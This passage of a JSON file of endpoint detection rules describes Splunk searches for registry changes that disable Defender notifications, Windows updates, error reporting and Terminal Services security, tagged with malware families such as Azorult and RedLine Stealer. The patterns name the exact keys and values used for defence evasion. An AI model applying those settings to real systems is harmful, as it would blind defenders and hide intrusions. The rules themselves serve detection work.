Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_toast_notifications_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for DisallowRun settings was modified to enable in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Disable Win Defender Raw Write Notif", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender raw write notification feature. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the registry path associated with Windows Defender's real-time protection settings. This activity is significant because disabling raw write notifications can allow malware, such as Azorult, to bypass Windows Defender's behavior monitoring, potentially leading to undetected malicious activities. If confirmed malicious, this could enable attackers to execute code, persist in the environment, and access sensitive information without detection.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Real-Time Protection\\\\DisableRawWriteNotification*\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_win_defender_raw_write_notif_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The registry for raw write notification settings was modified to disable in $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Disable WinDefender Notifications", - "description": "The following analytic detects a suspicious registry modification aimed at disabling Windows Defender notifications. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the registry path \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\Notifications\\\\DisableNotifications\" with a value of \"0x00000001\". This activity is significant as it indicates an attempt to evade detection by disabling security alerts, a technique used by adversaries and malware like RedLine Stealer. If confirmed malicious, this could allow attackers to operate undetected, increasing the risk of further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\Notifications\\\\DisableNotifications\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_disable_windefender_notifications_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification to disable Windows Defender notification on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Disable Windows Security Center Notif", - "description": "The following analytic detects modifications to the Windows registry aimed at disabling Windows Security Center notifications. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the registry path \"*\\\\Windows\\\\CurrentVersion\\\\ImmersiveShell\\\\UseActionCenterExperience*\" with a value of \"0x00000000\". This activity is significant as it can indicate an attempt by adversaries or malware, such as Azorult, to evade defenses by suppressing critical update notifications. If confirmed malicious, this could allow attackers to persist undetected, potentially leading to further exploitation and compromise of the host system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows\\\\CurrentVersion\\\\ImmersiveShell\\\\UseActionCenterExperience*\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disable_windows_security_center_notif_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for security center notification settings was modified to disable mode in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry DisableRemoteDesktopAntiAlias", - "description": "The following analytic detects modifications to the Windows registry key \"DisableRemoteDesktopAntiAlias\" with a value set to 0x00000001. This detection leverages data from the Endpoint datamodel, specifically monitoring changes in the Registry node. This activity is significant as it may indicate the presence of DarkGate malware, which alters this registry setting to enhance its remote desktop capabilities. If confirmed malicious, this modification could allow an attacker to maintain persistence and control over the compromised host, potentially leading to further exploitation and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Terminal Services\\\\DisableRemoteDesktopAntiAlias\" Registry.registry_value_data = 0x00000001 by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disableremotedesktopantialias_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for remote desktop settings was modified to be DisableRemoteDesktopAntiAlias on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry DisableSecuritySettings", - "description": "The following analytic detects modifications to the Windows registry that disable security settings for Terminal Services. It leverages the Endpoint data model, specifically monitoring changes to the registry path associated with Terminal Services security settings. This activity is significant because altering these settings can weaken the security posture of Remote Desktop Services, potentially allowing unauthorized remote access. If confirmed malicious, such modifications could enable attackers to gain persistent remote access to the system, facilitating further exploitation and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Terminal Services\\\\DisableSecuritySettings\" Registry.registry_value_data = 0x00000001 by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disablesecuritysettings_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for terminal services settings was modified to disable security settings on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Disabling WER Settings", - "description": "The following analytic detects modifications in the Windows registry to disable Windows Error Reporting (WER) settings. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to registry paths related to WER with a value set to \"0x00000001\". This activity is significant as adversaries may disable WER to suppress error notifications, hiding the presence of malicious activities. If confirmed malicious, this could allow attackers to operate undetected, potentially leading to prolonged persistence and further exploitation within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\disable*\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disabling_wer_settings_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for WER settings was modified to be disabled on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry DisAllow Windows App", - "description": "The following analytic detects modifications to the Windows registry aimed at preventing the execution of specific computer programs. It leverages data from the Endpoint.Registry datamodel, focusing on changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun*\" with a value of \"0x00000001\". This activity is significant as it can indicate an attempt to disable security tools, a tactic used by malware like Azorult. If confirmed malicious, this could allow an attacker to evade detection and maintain persistence on the compromised host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun*\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_disallow_windows_app_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The registry for DisallowRun settings was modified to enable in $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Do Not Connect To Win Update", - "description": "The following analytic detects a suspicious modification to the Windows registry that disables automatic updates. It leverages data from the Endpoint datamodel, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\DoNotConnectToWindowsUpdateInternetLocations\" with a value of \"0x00000001\". This activity is significant as it can be used by adversaries, including malware like RedLine Stealer, to evade detection and prevent the system from receiving critical updates. If confirmed malicious, this could allow attackers to exploit vulnerabilities, persist in the environment, and potentially deploy additional payloads.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\DoNotConnectToWindowsUpdateInternetLocations\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_do_not_connect_to_win_update_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a registry modification in Windows auto update configuration in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry DontShowUI", - "description": "The following analytic detects modifications to the Windows Error Reporting registry key \"DontShowUI\" to suppress error reporting dialogs. It leverages data from the Endpoint datamodel's Registry node to identify changes where the registry value is set to 0x00000001. This activity is significant as it is commonly associated with DarkGate malware, which uses this modification to avoid detection during its installation. If confirmed malicious, this behavior could allow attackers to maintain a low profile, avoiding user alerts and potentially enabling further malicious activities without user intervention.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\DontShowUI\" Registry.registry_value_data = 0x00000001 by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_dontshowui_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "the registry for WER settings was modified to be disable show UI on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry EnableLinkedConnections", - "description": "The following analytic detects a suspicious modification to the Windows registry setting for EnableLinkedConnections. It leverages data from the Endpoint.Registry datamodel to identify changes where the registry path is \"*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLinkedConnections\" and the value is set to \"0x00000001\". This activity is significant because enabling linked connections can allow network shares to be accessed with both standard and administrator-level privileges, a technique often abused by malware like BlackByte ransomware. If confirmed malicious, this could lead to unauthorized access to sensitive network resources, escalating the attacker's privileges.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLinkedConnections\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_enablelinkedconnections_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows EnableLinkedConnections configuration on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry LongPathsEnabled", - "description": "The following analytic detects a modification to the Windows registry setting \"LongPathsEnabled,\" which allows file paths longer than 260 characters. This detection leverages data from the Endpoint.Registry datamodel, focusing on changes to the specific registry path and value. This activity is significant because adversaries, including malware like BlackByte, exploit this setting to bypass file path limitations, potentially aiding in evasion techniques. If confirmed malicious, this modification could facilitate the execution of long-path payloads, aiding in persistence and further system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\\LongPathsEnabled\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_longpathsenabled_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows LongPathEnable configuration on $dest$", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry MaxConnectionPerServer", - "description": "The following analytic identifies a suspicious modification of the Windows registry setting for max connections per server. It detects changes to specific registry paths using data from the Endpoint.Registry datamodel. This activity is significant because altering this setting can be exploited by attackers to increase the number of concurrent connections to a remote server, potentially facilitating DDoS attacks or enabling more effective lateral movement within a compromised network. If confirmed malicious, this could lead to network disruption or further compromise of additional systems.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\MaxConnectionsPerServer*\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\MaxConnectionsPer1_0Server*\") Registry.registry_value_data = \"0x0000000a\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_maxconnectionperserver_filter`", - "tags": { - "analytic_story": [ - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in max connection per server configuration in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry No Auto Reboot With Logon User", - "description": "The following analytic detects a suspicious modification to the Windows registry that disables automatic reboot with a logged-on user. This detection leverages the Endpoint data model to identify changes to the registry path `SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\NoAutoRebootWithLoggedOnUsers` with a value of `0x00000001`. This activity is significant as it is commonly used by adversaries, including malware like RedLine Stealer, to evade detection and maintain persistence. If confirmed malicious, this could allow attackers to bypass security measures and deploy additional payloads without interruption.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\\NoAutoRebootWithLoggedOnUsers\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_no_auto_reboot_with_logon_user_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows auto update configuration on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry No Auto Update", - "description": "The following analytic identifies a suspicious modification to the Windows registry that disables automatic updates. It detects changes to the registry path `SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\\NoAutoUpdate` with a value of `0x00000001`. This activity is significant as it is commonly used by adversaries, including malware like RedLine Stealer, to evade detection and maintain persistence. If confirmed malicious, this could allow attackers to bypass security updates, leaving the system vulnerable to further exploitation and potential zero-day attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\\NoAutoUpdate\" AND Registry.registry_value_data=\"0x00000001\" by Registry.dest Registry.user Registry.registry_path Registry.registry_value_data Registry.registry_key_name | `drop_dm_object_name(Registry)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_modify_registry_no_auto_update_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A registry modification in Windows auto update configuration on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry NoChangingWallPaper", - "description": "The following analytic detects modifications to the Windows registry aimed at preventing wallpaper changes. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"NoChangingWallPaper\" registry value. This activity is significant as it is a known tactic used by Rhysida ransomware to enforce a malicious wallpaper, thereby limiting user control over system settings. If confirmed malicious, this registry change could indicate a ransomware infection, leading to further system compromise and user disruption.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Windows\\\\CurrentVersion\\\\Policies\\\\ActiveDesktop\\\\NoChangingWallPaper\" Registry.registry_value_data = 1) BY _time span=1h Registry.dest 